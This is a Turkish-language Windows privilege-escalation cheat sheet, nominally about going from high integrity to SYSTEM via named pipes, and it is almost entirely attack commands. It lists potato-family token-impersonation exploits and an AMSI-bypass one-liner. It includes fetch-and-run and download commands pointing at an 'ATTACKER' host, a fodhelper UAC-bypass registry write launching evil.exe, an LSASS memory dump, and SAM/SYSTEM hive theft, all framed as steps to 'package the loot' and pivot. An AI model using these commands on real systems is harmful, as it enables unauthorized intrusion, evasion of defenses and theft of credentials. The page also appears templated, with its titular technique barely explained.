From High Integrity to SYSTEM with Name Pipes

windows privesc

From High Integrity to SYSTEM with Name Pipes Windows privesc, credential veya yanal hareket notudur. Token/servis/DLL/AD yüzeyini haritalayıp SYSTEM veya domain etkisi doğrula.

Metodoloji

1. whoami /all, priv, UAC bütünlüğü ve AV durumunu kilitle.

2. From High Integrity to SYSTEM with Name Pipes için servis/DLL/token/AD hipotezini enum ile destekle.

3. Yükseltme veya lateral PoC’yi çalıştırıp etkiyi kanıtla.

4. LSASS/SAM/DPAPI veya domain loot paketle.

Durum

From High Integrity to SYSTEM with Name Pipes Windows saldırı notudur. Önce token, bütünlük seviyesi, AV ve yerel grup haritasını çıkar.

whoami /all

systeminfo

whoami /priv

net user; net localgroup administrators

hostname & ipconfig /all

Get-LocalGroupMember Administrators -ErrorAction SilentlyContinue

Get-MpComputerStatus | Select AMServiceEnabled,RealTimeProtectionEnabled

netstat -ano

Get-Service | ? Status -eq Running | Select Name,DisplayName

Token / potato / named pipe

SeImpersonatePrivilege varsa potato ailesi veya pipe impersonation ile SYSTEM hedeflenir.

whoami /priv

whoami /groups

[System.Security.Principal.WindowsIdentity]::GetCurrent() | fl

JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\temp\out.txt" -t *

JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c whoami"

PrintSpoofer.exe -i -c cmd

GodPotato.exe -cmd "cmd /c whoami"

RoguePotato.exe -l ATTACKER -c "C:\Windows\System32\cmd.exe" -a "/c whoami"

UAC / bütünlük / execution

Medium→High UAC bypass ve AMSI/ETW kaçışı execution zincirinin parçasıdır.

whoami /groups | findstr Level

Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

[Environment]::OSVersion.Version

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/a.ps1')

fodhelper.exe  # HKCU ms-settings\shell\open\command

eventvwr.exe

reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "C:\temp\evil.exe" /f

Otomatik enum

winPEASx64.exe quiet

accesschk.exe /accepteula -uwcqv users *

Import-Module .\PowerUp.ps1; Invoke-AllChecks

Get-ChildItem C:\ -Recurse -Include *.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String -Pattern 'password|pwd|connectionstring' | Select -First 30

Yükseltme / erişim sonrası

dir C:\Users\Administrator\Desktop

dir C:\Users\*\Documents,C:\Users\*\Desktop -ErrorAction SilentlyContinue

Get-ChildItem -Force C:\ -Include *.kdbx,*.pfx,*.key -Recurse -ErrorAction SilentlyContinue | Select -First 30

procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp

reg save HKLM\SAM C:\temp\sam.save & reg save HKLM\SYSTEM C:\temp\sys.save

Manuel doğrulama

# From High Integrity to SYSTEM with Name Pipes — varyant 8

Get-ChildItem C:\Users -Force | Format-Table Name,Mode

Get-ScheduledTask | ? State -eq Ready | Select TaskName,TaskPath

Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\* | ? ImagePath -match ' ' | Select PSChildName,ImagePath

findstr /si password *.xml *.ini *.txt *.config 2>$null | Select -First 20

Get-Acl C:\ProgramData | Format-List

qwinsta; quser

wmic product get name,version

dir /a C:\ProgramData\Microsoft\Windows\Start\ Menu\Programs\Startup

cmdkey /list

Transfer / execution

IWR -Uri http://ATTACKER/a.exe -OutFile C:\Users\Public\a.exe

certutil -urlcache -split -f http://ATTACKER/a.exe C:\Users\Public\a.exe

Start-Process C:\Users\Public\a.exe

Checklist

[ ] whoami /priv ve gruplar alındı
[ ] Servis/DLL/registry/token yüzeyi tarandı
[ ] Privesc veya lateral PoC doğrulandı
[ ] Credential dump / loot paketlendi
[ ] Sonraki pivot not edildi

Notlar

From High Integrity to SYSTEM with Name Pipes sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.